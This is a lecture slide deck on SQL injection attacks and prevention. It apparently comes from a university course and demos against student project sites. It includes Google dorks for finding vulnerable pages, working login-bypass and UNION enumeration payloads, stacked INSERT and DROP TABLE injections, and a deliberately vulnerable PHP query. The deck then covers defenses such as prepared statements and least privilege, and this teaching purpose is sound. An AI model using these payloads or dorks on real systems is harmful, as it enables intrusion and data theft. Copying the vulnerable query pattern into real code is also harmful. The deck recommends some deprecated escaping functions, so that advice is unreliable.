SQL Injection: Attacks and Prevention

By

Ashish Kshirsagar

Agenda

- Computer Security
- Introduction to SQL injection
- SQL injection real life scenario
- SQL injection attacks demo
- Prevention
Computer Security

- Information security
  - Protection against unauthorized access
  - Protection against natural calamities

- Consequences
  - Information misuse
    - SSN information used for illegal access
  - Unauthorized information modify
    - Phone no., address modify from bank database

Types of Security Threats

- Active attack
  - Attempt to alter system resources
  - Ex. Denial-of-service

- Attempt to exhaust server resources
  - No more requests served
  - Crashes in some cases
  - Malware, Trojans injection

- Consequences
  - Unavailability of websites
  - Degraded network performance
  - Disconnection from network
Security Threats cntd...

- **Passive attack**
  - Attempt to retrieve information
  - Ex. SQL Injection

- **Consequences**
  - Information misuse
    - SSN information used for illegal access
  - Unauthorized information modify
    - Phone no., address modify from bank database

- **Causes**
  - Unverified user input vulnerability
    - Incomplete validations
    - Overlooked coding errors

SQL Injection Intro Cntd...

- **Passive attack**
  - Code injection technique
  - Purge/modify the data, data object or dataset

- **Manipulating SQL queries in user input**
  - Inject SQL queries
  - Modify / retrieve information

- **Formatting SQL statements**
  - Using direct user inputs
  - Unsanitized/Unverified inputs
Real world SQL injection attacks

Hacker group claims to have looted $100k via SQL injection attack

A group of hackers, known as TeamBerserk, took credit on Twitter – posting as @TeamBerserk – for using a SQL injection attack to access usernames and passwords for customers of Sebastian, a California-based internet, phone and television service provider, and then leveraging those credentials to steal $100,000 from online accounts.

Within their Friday tweet, the hacker collective posted a link to a 20-minute video that chronicles the attack. The end result is the attacker obtaining a spreadsheet of Sebastian customers’ usernames and passwords in plaintext.

With the list of credentials clearly available, the attacker then takes advantage of what some would consider an internet sin, not using a different password for every website.

The attacker appears to copy and paste Sebastian account credentials into Gmail and is then able to easily access the Google account. From there, the TeamBerserk member does a search for ‘PayPal’ which comes up with some email receipts. The video then cuts away, stating that after they went to the PayPal website, “BANK ACCOUNTS FOUND AND LATER PLUNDERED.”

Real world SQL injection attacks

- Healthcare.gov
  - SQL commands in search
SQL Injection

• Use for educational purpose only !!!
  Please don’t try this at home 😁

• How it is carried out?
  ◦ Scan site to see if any vulnerability exist
  ◦ Brute force technique
  ◦ Best friend : Google

• What hackers can do?
  ◦ By-Passing Logins
  ◦ Accessing secret data
  ◦ Modifying contents of website
  ◦ Shutting down the MySQL server

SQL Injection

• Google dork
  ◦ inurl:index.php?id=
  ◦ inurl:gallery.php?id=
  ◦ inurl:article.php?id=
  ◦ inurl:pageid=

• Example
  ◦ inurl:product.php?id=2
  ◦ Adding “quote” at the end
  ◦ Verify vulnerabilities
SQL Injection demo

- Few examples from CS518 projects
    - Adding quote to check
    - Username: any
    - Password:
      - `x' OR 1=1 --`
      - `x' union select 1,2,3,4,5,6 --`
  - [https://weiglevm.cs.odu.edu/~aghaziza/proj2](https://weiglevm.cs.odu.edu/~aghaziza/proj2)
    - Adding quote to check
    - Username: any
    - Password:
      - `x' OR 1=1 limit 2,1 --`
      - `x' union select 1,2,'Hacker',4,5,6 --`
      - `x' and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() --`

SQL Injection demo

- Other security threats
  - Same session variables
    - Open below links in succession
    - Use TA as user to login
      - [https://weiglevm.cs.odu.edu/~akshirsa/proj2](https://weiglevm.cs.odu.edu/~akshirsa/proj2)
      - [http://weiglevm.cs.odu.edu/~vpopuri/proj2/](http://weiglevm.cs.odu.edu/~vpopuri/proj2/)
  - Missing valid session checks
    - [https://weiglevm.cs.odu.edu/~abarhanp/proj2/](https://weiglevm.cs.odu.edu/~abarhanp/proj2/)
    - [forum_page.php](https://weiglevm.cs.odu.edu/~abarhanp/proj2/forum_page.php)
SQL Injection demo explained

- My Project for demo

- [http://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo](http://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo)
  - Username: Any
  - Password: different combinations

- Login with different users
  - ' OR 1=1 limit 1 --
  - ' OR 1=1 limit 0,1 --
  - ' OR 1=1 limit 1,1 --

SQL Injection demo explained

- SQL information functions
    - `x' union select 1,2,3,4 --`
    - `x' union all select 1,version(),3,4 --`
    - `x' union all select 1,database(),3,4 --`
    - `x' union all select 1,FOUND_ROWS(),3,4 --`
    - `x' union all select 1,CURRENT_USER(),3,4 --`
    - `x' union all select 1,USER(),3,4 --`
SQL Injection demo explained

- Logical explanation

```php
$uname = $_POST['username'];
$pwd = $_POST['password'];
$query = "SELECT * FROM sid_user_details WHERE username='" . $uname . "' AND password='" . $pwd . "";"
```

- Modified Query
  - `x' OR 1=1 limit 1 --`
  - "SELECT * FROM sid_user_details WHERE username='x' AND password='x' OR 1=1 limit 1 -- ";

- Higher severity
  - `x'; insert into sid_user_details (username, password) values('hacker1', 'passwd1') --`
    - Adding new username and password combination
    - Hackers can use this account to get info
  - `x'; drop table test_injection1; --`
    - Drop a table
    - Database isn't read only
Prevention

- Sanitize the input
  - to insure that they do not contain dangerous codes
  - strip out "bad stuff", such as quotes or semicolons or escapes and change to \x00, \n, \r, ', " and \x1a
  - PHP
    - mysql_real_escape_string()
    - sqlite_escape_string()
    - mysql_escape_string()
  - https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo1/
  - Works only for string parameters

Prevention Cntd...

- Bound parameters
  - Considering user input as SQL
  - Supported by almost all databases
  - SQL query created with placeholders
  - ? placed for parameters
  - Handled differently than direct query
  - Ex.
    - PreparedStatement ps = connection.prepareStatement("SELECT email FROM member WHERE name = ?");
    - ps.setString(1, formField);
    - ResultSet rs = ps.executeQuery();
  - https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo2/
**Prevention Cntd...**

- **Bound parameters Cntd...**
  - PHP Data Objects (PDO) objects
    - Connection between PHP and a database server
    - Supports database transactions features
    - ACID – Atomicity, Consistency, Isolation and Durability
      - PDO::beginTransaction
      - PDO::commit
      - PDO::rollBack
    - Database access abstraction layer
  - $dbh->prepare("SELECT id, user_access FROM sid_user_details where username = ? and password = ?");
    - [https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo3/](https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo3/)

**Prevention Cntd...**

- **Limit database permissions and segregate users**
  - Should not access database with root user
  - Users privileges for accessing tables
    - Privileges are set as per requirement
      - Read/write database permissions
      - Other tables access than required ones
Prevention Cntd...

- Stored procedures for database access
  - Create procedures as per requirement
  - Call procedures instead of tables directly
  - [https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo4/](https://weiglevm.cs.odu.edu/~akshirsa/sql_inject_demo4/)
    - SHOW CREATE PROCEDURE akshirsa.checkUser

- Error reporting
  - Log keeping should be enforced
  - Exceptions not shown to outside users

Prevention Cntd...

- Data encryption
  - Store encrypted data
  - User inputs encrypted before compare
  - No harm of special characters

- Watch for automations
  - SQL injection attacks by Bots
  - Brute force method
  - Rate-based policies
  - Failed attempts reporting
  - Source monitoring
  - Captcha
Thank You

Questions?

References

- SQL injection info

- SQL attack in real life
  - [http://www.scmagazine.com/hacker-group-claims-to-have-looted-100k-via-sql-injection-attack/article/317412/](http://www.scmagazine.com/hacker-group-claims-to-have-looted-100k-via-sql-injection-attack/article/317412/)

- SQL injection tutorial – Ethical hacking
  - [http://www.unixwiz.net/techtips/sql-injection.html](http://www.unixwiz.net/techtips/sql-injection.html)

- Prevention techniques